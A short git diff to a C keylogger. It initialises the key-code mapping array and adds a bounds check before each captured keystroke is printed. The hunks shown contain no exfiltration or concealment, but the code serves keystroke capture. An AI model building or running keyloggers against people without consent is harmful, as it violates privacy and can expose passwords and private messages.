diff --git a/keylogger.c b/keylogger.c
index 0ba7775..57eb092 100644
--- a/keylogger.c
+++ b/keylogger.c
@@ -65,6 +65,8 @@ int main(int argc, char *argv[]) {
     // Convert key codes to string values
     // ex: mappings[code] = "value"
     char * mappings[1024];
+    int i;
+    for (i=0; i<1024; i++)  mappings[i] = "invalid";
     generate_mappings(mappings);
 
 
@@ -86,7 +88,8 @@ int main(int argc, char *argv[]) {
     // Scan for key strokes and print them
     while (1){
         int key_code = get_key_press(fd, ev); // get key code
-        printf("%s\n",mappings[key_code]); // print value of key code
+        if (key_code < 1024)
+            printf("%s\n",mappings[key_code]); // print value of key code
     }
 
     return 0;